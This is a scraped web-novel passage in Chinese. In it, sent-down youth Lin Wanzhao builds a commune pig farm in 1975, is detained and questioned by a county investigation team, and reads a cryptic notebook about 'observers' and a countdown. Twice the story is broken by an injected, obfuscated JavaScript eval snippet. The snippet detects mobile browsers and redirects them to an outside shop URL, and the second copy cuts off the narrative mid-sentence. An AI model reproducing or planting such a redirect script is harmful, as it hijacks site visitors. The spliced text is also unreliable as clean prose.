两年。只有两年。 林晚照深吸一口气,冷空气灌进肺里,刺得生疼。 她抬起头,朝着红星公社的方向走去。 脚步很稳,一步,一步。 就像她这几个月走过来的每一步一样。 无论背后有什么阴谋,无论前路有多艰难。 她都得走下去。 为了活下去。 也为了那些把她当成希望的人。 阳光把她的影子拉得很长,投在积雪未化的街道上。 影子歪歪扭扭的,但一直在向前。 29.清扫程序 建材是在腊月二十五到的。 三辆解放牌大卡车摇摇晃晃开进红星公社时,整个村子都轰动了。孩子们追着车跑,大人们站在路边张望,指指点点。水泥袋堆得像小山,钢筋在阳光下泛着冷硬的金属光泽,木材的松香味混在冬天的空气里,有种说不出的生机勃勃。 林晚照站在养猪场门口,手里拿着送货单,一张一张核对。陈铁柱带着十几个壮劳力在卸货,吆喝声、号子声、重物落地的闷响混在一起,热热闹闹的。 “五十吨水泥,齐了!” “钢筋三吨,一根不少!” “木材二十方,松木的,好料子!” 陈大牛蹲在木材堆旁,用手摸着那些光滑的木板,眼圈有点红:“林同志,这下……这下真能成了。” “能成。”林晚照把送货单折好塞进口袋,声音不高,但很稳,“陈叔,今天就开始砌墙。争取春节前把框架搭起来,开春就能进新猪崽。” “诶!”陈大牛抹了把脸,站起来,“我这就去和灰!” 工地上顿时忙开了。和灰的、搬砖的、砌墙的,都是村里挑出来的好手。三婶的侄女王秀兰带着几个妇女在边上烧热水,大铁锅里热气腾腾的,水开了就往搪瓷缸里灌,加了点盐,给干活的人补充体力。 林晚照挽起袖子,也加入进去。她负责递砖——这活不算重,但需要细心,得把砖上的灰土磕干净,有裂缝的挑出来放一边。她做得很认真,一块一块地挑,手指很快就被粗糙的砖面磨红了。 “林同志,歇会儿吧。”王秀兰递过来一缸热水,“手都磨破了。” “没事。”林晚照接过缸子,喝了一大口。水很烫,带着淡淡的咸味,顺着喉咙流下去,暖了半个身子。 她抬起头,看着渐渐起来的墙基。砖块一层层垒上去,横平竖直,灰缝匀称。这墙会圈起一个新的猪舍,会养出更多的猪,会让村里的日子好过一点。 这就是她的任务。五百头猪,人均收入提高50%。 她摸了摸口袋里的那张纸。纸已经被揉得有些软了,边缘起了毛。她每晚都会拿出来看一遍,像是在提醒自己,也像是在确认这不是一场梦。 “晚照!”陈铁柱从墙那边探出头,“这儿有个尺寸问题,你来看看!” 林晚照放下砖,走过去。墙基拐角的地方,灰线有点歪,偏差不大,但继续砌下去会出问题。她蹲下来,用手比了比,又掏出卷尺量。 “往左挪两指。”她说得很肯定。 砌墙的老汉看了她一眼,没说话,用瓦刀把刚砌好的几块砖敲下来,重新调整。砖块落下时扬起细小的灰尘,在阳光里像金色的雾。 林晚照退后几步,看着老汉熟练的动作。瓦刀敲击砖面的声音很有节奏,叮,叮,叮,像某种古老的打击乐。这声音让她心里踏实——这是建设的声音,是向上的声音。 中午饭是送到工地上吃的。三婶带着妇女们做了玉米面窝头,白菜炖粉条,还有一盆炒鸡蛋。窝头管够,菜虽然没什么油水,但热气腾腾的,在这大冷天里格外诱人。 大家围坐在砖堆旁吃饭,有说有笑。陈大牛讲着他年轻时在工地上的趣事,引得一阵阵哄笑。王秀兰小声跟旁边的姑娘说着什么,两人捂嘴偷笑。阳光照在每个人脸上,红扑扑的,冒着热气。 林晚照啃着窝头,看着这一幕。 这些人不知道什么时空观测,不知道什么灯塔计划,不知道两年后如果任务失败,她就会被“抹除”。他们只知道,养猪场要扩大了,能多挣工分了,日子有盼头了。 这样也好。她想。有些担子,一个人扛着就行。 吃完饭继续干活。下午进度更快,四面墙都起来了一半。林晚照抬头看了看天,冬天天黑得早,四点多太阳就开始西斜了。 “今天先到这儿吧。”她说,“明天再干。” “再干一会儿!”一个年轻后生喊,“趁着天亮!” “对,再干一会儿!” 大家都干劲十足。林晚照心里暖了一下,点点头:“那行,再干一个小时。三婶,烧点姜汤,给大家驱驱寒。” 太阳落山时,四面墙都砌到了人胸口高。框架起来了,能看出雏形了。陈大牛站在墙里,用手比划着:“这儿是猪圈,这儿是走道,这儿……林同志,你说这儿留个窗户不?” “留。”林晚照说,“南墙留两个大窗,冬天能进阳光。” “好嘞!” 收工的时候,天已经黑透了。林晚照是最后一个走的,她绕着新猪舍走了一圈,用手摸着那些还带着余温的砖墙。砖是凉的,但墙是热的——是这么多人的汗水焐热的。 她抬起头,看着夜空。星星很亮,密密麻麻的,像撒了一把碎钻。 手腕上的银镯忽然传来一阵刺痛。 不是之前那种温热,是刺痛,像被针扎了一下。林晚照皱起眉,撩起袖子。镯子内圈那行“不要相信037号”的小字,在黑暗中泛着极淡的荧光。 她盯着那行字,心里翻腾。 郑卫国,037号观测员。他说的那些话,有多少是真的?多少是假的?时空锚点,核心任务,裂缝修复——如果这些都是真的,那为什么镯子上会有这样的警告? 如果这是假的,那郑卫国的目的是什么?给她希望,再让她绝望? 寒风刮过来,吹得她打了个寒颤。她放下袖子,转身往知青点走。脚步很快,踩在冻硬的土地上,发出咔咔的响声。 回到知青点时,王晓芬正在灶台前热饭。锅里煮着粥,米很少,大多是红薯块,咕嘟咕嘟冒着泡。 “回来啦?”王晓芬回头看她,“工地怎么样了?” “墙砌了一半。”林晚照脱下外套,在灶前烤手,“明天能封顶。” “真快。”王晓芬感叹,“这么多人一起干,就是不一样。” 李秀英从里屋出来,手里拿着件毛衣在织。她的脸色好多了,脸颊有了点血色。“晚照,我听三婶说,养猪场还要招人?” “对,开春要招十个。”林晚照说,“秀英姐你想去?” “我……”李秀英犹豫了一下,“我能干啥?我身体不好,重活干不了。” “不用干重活。”林晚照接过王晓芬递来的粥碗,“养猪场需要记账的,需要管库房的,需要搞卫生的。你识字,心细,合适。” 李秀英的眼睛亮了一下,但很快又暗下去:“可我……我是知青,早晚要回城的。” “回城是以后的事。”林晚照喝了口粥,红薯很甜,米汤很暖,“现在能多挣点工分,攒点钱,总是好的。” 这话说到了李秀英心里。她点点头,不再说话,低头继续织毛衣。毛衣是深蓝色的,给谁织的没说,但针脚很密,很用心。 吃过饭,林晚照端着热水去院子里洗漱。井台上的冰更厚了,她用铁瓢砸了半天才砸开。井水打上来,冷得刺骨,泼在脸上,瞬间清醒。 她抬起头,看着夜空。 星星还是那些星星,但今晚看起来有些不同。好像更亮了,也好像……更近了。有种说不出的压迫感。 回到屋里,王晓芬和李秀英已经睡了。刘翠翠还在看书,煤油灯的光把她的影子投在墙上,安安静静的。 林晚照轻手轻脚地上床,放下蚊帐。蚊帐是旧的,洗得发白,有几个补丁。她躺下,闭上眼睛,但睡不着。 手腕上的镯子还在隐隐作痛。 她犹豫了一下,还是进入了空间。 黑土地上的作物该收了。麦穗沉甸甸的,玉米棒子饱满,白菜棵棵瓷实。她用意念收割,作物自动堆放在田边,整整齐齐的。 做完这些,她走到裂缝前。 裂缝比昨天又宽了一点,现在有两指宽了。里面的黑暗更深邃,那种低频的嗡鸣声也更响了。但今晚,除了嗡鸣声,还有别的声音。 是脚步声。 很多人的脚步声,整齐,沉重,像军队在行进。还有金属碰撞的声音,叮叮当当的,听不清是什么。 林晚照的心提了起来。她靠近裂缝,想听得更清楚些。但刚靠近,一股强大的吸力突然传来,把她往裂缝里拽! 她猛地后退,跌坐在地上。黑土地的泥土松软,没摔疼,但心跳得厉害,像要跳出胸腔。 裂缝里的吸力持续了几秒钟,然后消失了。嗡鸣声也小了,脚步声远了。一切又恢复了平静。 但林晚照知道,这不是平静。 是暴风雨前的平静。 她爬起来,走到那个木箱前。打开,拿出观测日志。翻到最新一页,上面还是她上次看的内容,没有更新。 她拿起笔——空间里备着钢笔和墨水——想在空白页上写点什么。但笔尖停在纸面上,迟迟落不下去。 写什么?写她今天的怀疑?写镯子上的警告?写裂缝里的异常? 最后她只写了一行字: 1975年12月28日,猪舍墙起一半。建材到位,人心凝聚。但裂缝扩大,疑云更深。不知前路,唯有前行。 字迹很工整,但笔画有些抖。 写完,她合上日志,放回箱子。箱盖合上的那一刻,她看见箱子内侧刻着一行小字,之前没注意: 观测员守则第一条:勿信他人,勿疑己心。 这行字刻得很深,像是用刀反复刻上去的。 林晚照盯着那行字,看了很久。 勿信他人,包括郑卫国吗? 勿疑己心,可她现在的心里全是疑团。 她退出空间,回到现实。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16861310|191601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屋里很黑,只有窗外透进来一点月光。王晓芬在睡梦中翻了个身,嘟囔了一句什么,又沉沉睡去。 李秀英的呼吸很轻,几乎听不见。 刘翠翠那边传来均匀的呼吸声。 这些都是活生生的人。有温度,有呼吸,有明天要干的活,有对未来的期盼。 而她,可能两年后就会消失,连存在过的痕迹都没有。 这个念头让她心里一紧。她攥紧了被子,布料粗糙,磨着手心。 不。不能这样。 不管郑卫国说的是真是假,不管那个“灯塔计划”是什么,她都要活下去。要完成任务,要带着这些人把日子过好。 这是她的选择。不是被谁安排的,是她自己选的。 想通了这一点,心里反而踏实了。她翻了个身,闭上眼睛。手腕上的镯子不再刺痛,恢复了那种温润的触感。 睡意渐渐袭来。 就在她快要睡着的时候,远处传来狗叫声。 不是一只,是很多只,此起彼伏,叫得很凶。接着是人的喊声,杂乱的脚步声,还有……汽车引擎的声音? 林晚照猛地坐起来。 这个时间,这个地点,怎么会有汽车? 她披上衣服下床,走到窗边。外面很黑,但能看见村口的方向有车灯的光柱在晃动,两道,不,四道,越来越多。 车灯的光扫过村子,扫过房屋,扫过树木,最后停在——养猪场的方向。 林晚照的心沉到了谷底。 她快速穿好衣服,系紧鞋带,推门出去。院子里,王晓芬也起来了,揉着眼睛:“晚照,怎么了?” “不知道,我去看看。”林晚照说,“你待在屋里,别出来。” “可是……” “听话。” 林晚照的语气很少这么严厉。王晓芬愣住了,点点头。 林晚照拉开院门,走进寒冷的夜色里。风很大,吹得她几乎站不稳。她朝着养猪场的方向跑去,脚步很快,心跳更快。 养猪场那边已经亮起了灯——是手电筒的光,很多支,交错晃动。还能听见说话声,很多人在说话,声音嘈杂,听不清内容。 她跑到近前时,看见新砌的墙边停着三辆吉普车。车是军绿色的,车门上印着白色的编号。车旁边站着十几个人,都穿着军大衣,戴着棉帽,看不清脸。 陈铁柱和陈大牛也在,被两个人围着,正在说什么。陈铁柱的脸色很难看,陈大牛则是一脸惶恐。 林晚照深吸一口气,走过去。 “我是林晚照,养猪场负责人。”她的声音在寒风里很清晰,“请问你们是?” 那些人转过头来。手电筒的光照在她脸上,刺得她眯起眼。 从中间那辆吉普车上,下来一个人。 那人穿着军大衣,没戴帽子,头发梳得很整齐。他走到林晚照面前,上下打量了她一番,然后从怀里掏出个证件。 “县革委会调查组。”他说,声音很冷,“林晚照同志,我们接到举报,你负责的养猪场项目涉嫌挪用专项资金,违规采购,请跟我们走一趟,配合调查。” 林晚照盯着那个证件。红色塑料封皮,金色国徽,是真的。 她的手心里全是汗,但脸上很平静:“举报人是谁?” “这个你不用知道。”那人收起证件,“请上车吧。” “调查可以在这里进行。”林晚照没动,“所有账目、单据、合同都在,现在就可以查。” “我们需要你回去做正式笔录。”那人的语气不容置疑,“请配合。” 陈铁柱想上前,被人拦住了。陈大牛想说什么,被一个眼神瞪了回去。 林晚照看着那三辆吉普车,看着那些穿着军大衣的人,看着他们冷漠的脸。 她忽然明白了。 这就是“清扫程序”。 不是抹除,是更“合理”的方式——让她身败名裂,让项目流产,让她在这个地方待不下去。 而这一切,可能只是个开始。 她抬起头,看了看夜空。星星还在,但被车灯的光冲淡了,看不真切。 “好。”她说,“我跟你们走。” 她转身,对陈铁柱说:“队长,帮我跟王书记说一声。账本在我床底下的铁皮箱里,钥匙在枕头下。” 陈铁柱的眼睛红了,但他重重地点头:“你放心。” 林晚照笑了笑,转身走向吉普车。车门打开,她坐进去。车里很冷,皮革座椅冰得刺骨。 车门关上,引擎发动。 车灯的光柱划破夜色,驶离红星公社。 林晚照坐在后座,看着窗外飞快倒退的房屋、树木、田野。 手腕上的银镯,在黑暗中微微发着光。 30.审讯室的算盘声 县革委会的审讯室在三楼走廊尽头,房间不大,十平米见方。墙面刷着半人高的绿漆,上面是剥落的白色石灰。一张桌子,三把椅子,桌子上摆着个铁皮烟灰缸,里面堆着抽剩的烟头。唯一的窗户开得很高,玻璃蒙着厚厚的灰,透进来的光都是浑浊的。 林晚照坐在桌子这头,已经坐了四个小时。 对面坐着两个人。一个是昨晚带她来的那个,姓张,张组长。另一个年轻些,姓李,负责记录。两人都穿着四个口袋的中山装,脸色像墙上剥落的石灰,冷硬,没有表情。 “林晚照同志,请你再说一遍,省农科院那五千元专项资金,你是怎么申请的?”张组长翻开记录本,钢笔尖在纸上点了点,发出细碎的沙沙声。 这是第四次问同一个问题了。 林晚照的背挺得很直,双手平放在膝盖上。她的棉袄袖口磨得发白,但洗得很干净。早晨出发前,她特意把头发梳整齐,用一根黑色橡皮筋扎成低马尾——这是个谨慎又不失体面的发型。 “1975年11月3日,我向省农科院张振华教授提交了《关于红星公社科学养猪项目的可行性报告》。11月20日,张教授来信告知,项目通过初审。12月10日,我前往省城参加项目答辩。12月15日,正式批文下达,资金额度五千元。” 她的声音平稳,每个日期、每个细节都清清楚楚,像在背诵一篇熟记于心的课文。 实际上,她的确在心里默背了很多遍。从拿到批文那天起,她就知道,这笔钱是双刃剑——能成事,也能惹祸。 “张振华教授为什么这么支持你?”李记录员抬起头,眼睛藏在眼镜片后面,看不真切,“据我们了解,你们之前并不认识。” “我们在省城培训时认识的。”林晚照回答,“张教授是培训班的讲师,他对农村养殖业改造有深入研究。我的报告里引用了他的学术观点,他可能觉得……有实践价值。” 这话半真半假。真的部分是,张教授确实欣赏她的报告。假的部分是,这种欣赏还没到能批五千元的地步——真正起作用的,是她在报告末尾附上的那几组数据,那些关于未来三年生猪市场需求的“预测”。 那些预测,来自裂缝里的声音。 “你一个高中毕业生,能写出让教授欣赏的报告?”张组长的语气里带着明显的怀疑。 林晚照抬起眼,直视他:“张组长,报告的原稿和修改稿都在公社档案室,您可以调阅。张教授每一处修改都有批注,您看了就知道,我写的是否有价值。” 这话说得不卑不亢。张组长盯着她看了几秒,低头在本子上记了一笔。 窗外的光又暗了些。快到中午了。 “第二个问题。”张组长翻开新的一页,“建材采购。水泥五十吨,钢筋三吨,木材二十方。这些物资的指标,是谁批的?” “县计委郑卫国主任。”林晚照说,“批文号是1975-1224号,复印件在公社王书记那里。” “郑主任为什么批给你?” “因为项目需要。”林晚照顿了顿,补充道,“郑主任说,这是省里重点扶持的项目,县里要全力配合。” 她没说郑卫国是037号观测员,没说那些关于时空锚点的对话。那些话太荒谬,说出来只会让情况更糟。 张组长和李记录员交换了一个眼神。那个眼神很快,但林晚照捕捉到了——里面有东西。 “郑卫国主任,”张组长慢慢说,“昨天下午被停职了。” 房间里的空气凝固了一瞬。 林晚照的手指在膝盖上蜷缩了一下,又松开。她脸上没什么表情,但心里翻江倒海。 郑卫国被停职了。这意味着什么?意味着“清扫程序”在继续?意味着所谓的“灯塔计划”内部有争斗?还是意味着……郑卫国对她说的那些话,有一部分是真的? “为什么?”她问,声音里听不出情绪。 “涉嫌违规操作。”张组长没有细说,“所以,他批给你的那些建材指标,现在都是问题。” “指标有问题,可以复查。”林晚照说,“但建材已经用在养猪场建设上了,这是事实。墙砌了一半,全公社的人都看见了。” “用了不代表合规。”李记录员插话,“如果指标本身不合法,用了也是错。” 这是要往死里整了。林晚照想。 她不说话了,看着桌子上的烟灰缸。烟灰缸里有个没掐灭的烟头,还在冒着极细的青烟,一缕一缕的,上升,散开,消失。 张组长又点了支烟。他抽烟的姿势很特别,用食指和中指夹着,吸一口,停顿很久才吐出来。烟雾在浑浊的光线里盘旋,像某种无声的图腾。 “林晚照同志,”他忽然换了种语气,不那么冷了,甚至有点语重心长,“你还年轻,有文化,有干劲。组织上培养一个知青不容易,我们不希望看到你走错路。” 林晚照抬起眼。 “只要你如实交代,是谁在背后指使你,这些事,我们可以从轻处理。”张组长弹了弹烟灰,“是不是……有什么人,给了你什么承诺?” 这话问得很有水平。不是问有没有,而是问是谁。预设了“有”的前提。 林晚照心里冷笑,脸上却露出适当的困惑:“张组长,我不明白您的意思。养猪场项目,从头到尾都是我自己在跑,公社王书记知道,生产队陈队长知道,全公社的人都知道。哪来的背后指使?” “那你怎么解释这些?”张组长从文件夹里抽出几张纸,推过来。 是匿名信的复印件。不止一封,是三封。字迹不同,但内容差不多——都是举报林晚照“搞特殊化”、“脱离群众”、“挪用集体资源”。 林晚照拿起那些纸,一张一张看。看得很慢,像在仔细辨认字迹。 实际上,她是在心里数。第一封,是省农科院那封,笔迹工整,用的是机关稿纸。第二封,是县里寄到公社的,字歪歪扭扭,像故意用左手写的。第三封……第三封的落款日期是三天前,寄信地址是红星公社本地。 “这些信,”她抬起头,“组织上都核实过了吗?” “正在核实。”张组长说,“但群众反映这么强烈,说明你工作方法确实有问题。” “张组长,”林晚照放下那些纸,声音依然平稳,“我在红星公社七个月,记工员当了五个月,养猪场项目做了三个月。这期间,我经手的每一笔工分、每一分钱,都有据可查。和我接触过的社员,从队长到普通群众,都可以接受询问。如果我真有问题,不用匿名信,早有人当面提出来了。” 她顿了顿,补充道:“反倒是这些匿名信,不敢署名,不敢当面说,这本身就很可疑。” 张组长沉默了。他抽烟的速度加快了,一口接一口。 李记录员低下头,在本子上刷刷写着什么。钢笔尖刮纸的声音,在寂静的房间里格外刺耳。 走廊里传来脚步声,由远及近,停在门外。有人敲门。 “进来。” 门开了,进来的是个年轻干事,手里端着两个饭盒。铝制的饭盒,边缘有些磕碰的痕迹。 “张组长,饭打来了。” “放着吧。” 饭盒放在桌上,盖子没盖严,冒出热气。是白菜炖粉条,能看到几片肥肉,油花浮在汤面上。在这个年代,这算是很好的伙食了。 林晚照的胃抽了一下。她早上没吃饭,现在确实饿了。但她没动,依然坐着,背挺得笔直。 “先吃饭吧。”张组长把烟掐灭,打开饭盒,“吃完再谈。” 李记录员也打开了自己的饭盒。两人开始吃饭,筷子碰着饭盒,发出叮叮当当的声音。 林晚照没动。她的饭盒放在那里,盖子紧闭。 “怎么不吃?”张组长抬起头。 “张组长,”林晚照说,“在问题没弄清楚之前,我不能吃组织上的饭。” 这话说得很重。张组长拿着筷子的手顿了顿。 房间里只剩下吃饭的声音。咀嚼声,吞咽声,还有筷子刮饭盒底的声音。那些声音在狭小的空间里放大,变得异常清晰。 林晚照看着窗外。透过蒙灰的玻璃,能看到一小块灰白的天空。没有云,也没有鸟,就是一片死寂的灰白。 她忽然想起养猪场那边,这个时候,陈大牛应该带着人在砌墙。瓦刀敲击砖面的声音,号子声,说笑声……那些声音是活的,有温度的。 不像这里,这里的一切都是死的。 手腕上的银镯传来一阵温热。很轻微,但持续不断。她垂下眼,用袖子遮住手腕。 温热感在加强。这是空间的感应——有人在触碰她的东西。 是陈铁柱。他找到了那个铁皮箱,打开了。 林晚照的心跳快了一拍。她不知道箱子里除了账本还有什么,也不知道陈铁柱会不会发现那本笔记。但如果发现了…… “张组长,”她忽然开口,“我能问个问题吗?” 张组长抬起头,嘴里还嚼着饭:“说。” “如果我被认定有问题,养猪场项目会怎么处理?” “项目暂停,资金冻结,等待调查结果。” “那已经砌起来的墙呢?已经到位的建材呢?” “封存。” “封存到什么时候?” 张组长放下筷子,看着她:“这要看调查进度。” “那就是无限期封存。”林晚照点点头,“我明白了。” 她不再说话,重新看向窗外。那片灰白的天空,好像更暗了些。 张组长和李记录员吃完饭,收拾了饭盒。李记录员拿着饭盒出去洗,张组长点了支烟,继续翻看那些材料。 时间一分一秒地过去。 林晚照开始在心里算账。五千元资金,已经花了多少?买建材花了三千二,给工人的伙食补贴花了八十,其他的……她在脑子里一笔一笔地过。这是她这几个月养成的习惯,每晚睡前都要在脑子里把账过一遍,确保每一分钱都花在明处。 算到第三遍的时候,门又开了。 这次进来的不是干事,是个五十多岁的男人,穿着深蓝色的中山装,头发梳得一丝不苟。张组长看见他,立刻站起来:“刘主任。” 刘主任点点头,目光落在林晚照身上:“这位就是林晚照同志?” “是。” 刘主任走过来,在桌子对面坐下。他没带记录本,也没带笔,就是坐着,看着林晚照。他的目光很沉,沉得像秤砣。 “林晚照同志,”他开口,声音不高,但很有分量,“你的材料,我看了。” 林晚照等着下文。 “匿名信,我也看了。”刘主任继续说,“但王保国书记今天早上给我打了个电话,他跟我说了些别的。” 王书记?林晚照的心提了起来。 “他说,你是个能吃苦、肯干事的知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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走出审讯室,走廊很长,灯光昏暗。她的脚步声在空荡的楼道里回响,一声,一声,像是心跳。 下到一楼,门卫室的老头把她的东西还给她——一个布包,里面装着毛巾、牙刷,还有半块没吃完的玉米饼。 她签了字,走出革委会大门。 天已经黑了,街道两边的路灯亮着,昏黄的光晕在地上投出一个个光圈。寒风刮过来,她裹紧了棉袄,朝着红星公社的方向走去。 没走多远,身后传来车铃声。 是陈铁柱,骑着那辆破自行车,车把上挂着一个网兜,里面装着饭盒。 “晚照!”他跳下车,气喘吁吁,“你……你没事吧?” “没事。”林晚照看着他冻得通红的脸,“你怎么来了?” “王书记让我来的,说你应该快出来了。”陈铁柱把网兜递过来,“给,三婶给你做的饭,还热着。” 林晚照接过饭盒,沉甸甸的,隔着网兜都能感觉到温热。 “养猪场那边……” “墙又砌高了!”陈铁柱眼睛发亮,“大家都没停,今天干了一整天!陈大牛说,照这个速度,春节前真能封顶!” 林晚照的嘴角弯了弯。那是今天第一个真心的笑。 “走吧,回去。”她说。 陈铁柱推着自行车,跟她并排走。路灯把两个人的影子拉得很长,投在冰冷的街道上,挨得很近。 “对了,”陈铁柱忽然压低声音,“你床底下那个铁皮箱……我找到了账本,还找到了……” 他停住了。 林晚照的心跳漏了一拍:“找到了什么?” 陈铁柱从怀里掏出个东西,塞到她手里。是个笔记本,牛皮纸封面,没有字。 林晚照的手有些抖。她打开笔记本,借着路灯的光,看见扉页上那行字: 如果看到这本笔记,说明我已经不在。接下来你要做的第一件事是——找到真正的037号。 字迹是她的。但她从来没写过。 她猛地合上笔记本,塞进怀里。布料的包裹下,笔记本的硬壳硌着胸口,像一块冰。 “你看了吗?”她问,声音有些哑。 陈铁柱摇头:“没看全,就看了第一页。我觉得……不该我看。” 林晚照长长地吐出一口气,白雾在寒冷的空气里散开。 “谢谢。”她说。 两人继续往前走。街道越来越暗,路灯越来越少。远处,红星公社的方向,有零星的光点,像是黑夜里的萤火。 那是家的方向。 也是战场的中心。 林晚照握紧了怀里的笔记本。硬壳的边缘割着手心,很疼,但疼得清醒。 真正的037号。 郑卫国是假的。 那真的在哪里? 裂缝里的声音,笔记本的警告,停职的郑卫国,还有那些匿名信……所有这些碎片,在她脑子里旋转,碰撞,试图拼凑出一个完整的图案。 但她现在还看不清。 她只知道,路还要走下去。 一步一步,踏踏实实地走下去。 走到光里去。 31.裂缝里的眼睛 腊月二十六,凌晨两点。 林晚照从空间里挣脱出来时,浑身已经被冷汗浸透。她大口喘着气,像溺水的人刚浮出水面,指尖还残留着被裂缝吞噬时那种刺骨的冰冷。意识回到身体的那一刻,她听见自己的心跳声,沉重,急促,在寂静的冬夜里像擂鼓。 她坐在床上,黑暗中只有窗外透进来的微光。同屋的王晓芬和李秀英睡得很沉,呼吸声均匀绵长。刘翠翠那边有翻身的窸窣声,但很快又平静了。 一切如常。仿佛刚才在空间里发生的一切——那张从裂缝中浮现的脸,那个呼喊她编号的声音,那股几乎将她意识撕碎的吸力——都只是一场过于逼真的噩梦。 但手腕上的银镯在发烫。不是之前的温热,是烫,烫得皮肤刺痛。她撩起袖子,借着微光看见镯子内圈的纹路正泛着暗红色的光,像烧红的铁条,在黑暗中勾勒出诡异的图案。 图案在变化。那些她曾以为是龙凤的纹路,此刻正缓缓蠕动、重组,最后凝聚成一行清晰的汉字: 剩余时间:723天17小时42分 倒计时。 林晚照盯着那行字,手指微微发抖。723天,差不多就是两年。郑卫国说的“核心任务时限”是真的。那个让她存活到1977年底的任务,那个关乎她能否在这个时代继续存在的任务,正在一秒一秒地流逝。 她闭上眼睛,深吸一口气,再缓缓吐出。白雾在冰冷的空气里散开,很快消失。 不能慌。她对自己说。越是这种时候,越不能慌。 她轻手轻脚地起身,从枕头下摸出那个笔记本——陈铁柱交给她的,自称是“未来的她”留下的笔记本。牛皮纸封面在黑暗中泛着粗糙的质感。她没有立刻打开,而是先走到窗边,掀起一角窗帘。 外面还在下雪。细密的雪粒子在夜风里打着旋,无声地落在院子里,落在井台上,落在远处养猪场新砌的砖墙上。墙已经有一人高了,在雪夜里像一道沉默的黑色剪影。 那是她的战场。也是她的希望。 她回到床边,点亮煤油灯。灯芯拧到最小,只发出豆大的光,勉强能照亮膝盖上方寸之地。她翻开笔记本。 扉页之后的第一页,不再是那句关于“真正的037号”的警告,而是一段详细的记录: 1975年12月29日凌晨,空间裂缝发生第二次异常波动。波动源头已锁定:时空坐标1984年7月,深圳。信息泄漏内容:关于价格双轨制的内部讨论纪要。警告:该信息提前泄露可能引发历史进程偏移,偏移率预估0.7%。建议立即采取隔离措施。 林晚照盯着“1984年”和“深圳”这两个词,脑子里嗡嗡作响。 1984年,深圳。那是改革开放的桥头堡,是无数人命运的转折点。而价格双轨制——她记得这个名词,那是计划经济向市场经济过渡时期特有的现象,一批人因此暴富,也引发了许多问题。 如果这个信息在1975年泄露出去,会发生什么?有人会提前布局?会改变某些人的命运?会……影响历史的走向? 她继续往后翻。 第二页是一张手绘的地图。画得很粗糙,但能辨认出是红星公社及周边地区。地图上有三个地方被红笔圈了出来:一个是养猪场的位置,一个是后山那个废弃的矿井,还有一个是……县招待所。 每个红圈旁边都有注释。 养猪场旁写着:观测点074号锚定位置。已稳定。 废弃矿井:疑似时空薄弱点。需进一步探查。 县招待所:信号干扰源所在地。危险等级:高。 信号干扰源?林晚照皱起眉。是指郑卫国?还是别的什么? 她翻到第三页。这一页的内容让她呼吸一滞。 已知敌对势力: 1. 代号“守夜人”(已确认成员:周明远)。任务:监视并清除异常时空波动。 2. 代号“捕猎者”(身份未知)。任务:捕捉并利用观测员能力。 3. 代号“清扫者”(身份未知)。任务:抹除观测痕迹,维持历史“纯净”。 注:“清扫者”可能已渗透至地方权力机构。县革委会调查组张姓组长嫌疑度:65%。 张组长。那个审讯她的张组长。 林晚照的指尖有些发凉。如果笔记本的记录是真的,那么所谓的“调查”根本不是查她的问题,而是“清扫程序”的一部分——借合规的名义,将她和她所做的一切从历史中抹去。 她继续往下看。 生存建议: 1. 在找到“真正的037号”之前,不要相信任何自称观测员的人。 2. 空间裂缝的异常是双向的。你能听见未来的声音,未来的人也可能通过裂缝感知到你。谨慎使用。 3. 核心任务必须完成,这是你存在的唯一依据。但完成任务的方法可以……灵活。 最后这个词下面划了道横线,笔迹很深,几乎要划破纸面。 林晚照合上笔记本,靠在墙上。煤油灯的光在她脸上跳跃,投出明明暗暗的阴影。她的脑子里信息过载,像一团乱麻。 但有一点很清楚:她不能坐以待毙。 她重新翻开笔记本,翻到最后一页。这一页是空白的,但在煤油灯的光线下,能看见纸张上有浅浅的压痕——是上一页写字时留下的印子。 她拿起钢笔,在空白页上写下: 1975年12月29日凌晨,阅读笔记。确认以下信息: 1. 倒计时已激活。 2. 至少存在三股敌对势力。 3. 空间裂缝可能成为突破口。 写到这里,她停顿了一下,笔尖悬在纸面上。然后继续: 下一步行动: 1. 继续推进养猪场建设,这是根本。 2. 探查废弃矿井,寻找时空薄弱点。 3. 接触张组长,确认其真实立场。 4. 寻找“真正的037号”。 写完,她放下笔,看着纸上的字迹。墨迹在煤油灯下泛着湿润的光,慢慢干涸。 窗外的雪似乎小了些。天边泛起一丝极淡的灰白,像墨汁里滴进了一滴水,缓慢地晕开。 凌晨四点。离天亮还有两个小时。 林晚照吹灭煤油灯,躺回床上。但她睡不着,睁着眼睛看着蚊帐顶。蚊帐是旧的,有几个破洞,能看到屋顶黑黢黢的椽子。 她在脑子里一遍遍复盘。从穿越到现在,七个月时间。从最初的生存挣扎,到现在的多方博弈。她走的每一步,都像是在走钢丝,下面就是万丈深渊。 但奇怪的是,她并不害怕。或者说,害怕已经被更深的东西取代——一种近乎本能的求生欲,一种“我一定要活下去”的执念。 这种执念支撑着她走到现在。也会支撑她继续走下去。 手腕上的银镯已经恢复了常温。她摸了摸,镯子光滑温润,仿佛刚才的灼热只是幻觉。 但倒计时还在。她能感觉到,某种无形的枷锁已经套在了她的脖子上,正在一寸寸收紧。 她必须挣脱。 天快亮时,她终于睡着了。但睡得很浅,梦里全是裂缝里的声音和画面——1984年的深圳街道,穿着喇叭裤的年轻人,贴满大街小巷的招商广告,还有一栋栋正在拔地而起的高楼…… 然后是一个声音,很清晰,像是贴在她耳边说的: “074,快跑……” 她猛地惊醒。 天已经亮了。窗外传来扫雪的声音,还有鸡鸣声,狗吠声,新的一天开始了。 王晓芬正在穿衣服,看见她坐起来,关切地问:“晚照,你脸色好差,是不是没睡好?” “做了个噩梦。”林晚照揉了揉太阳穴,“没事。” 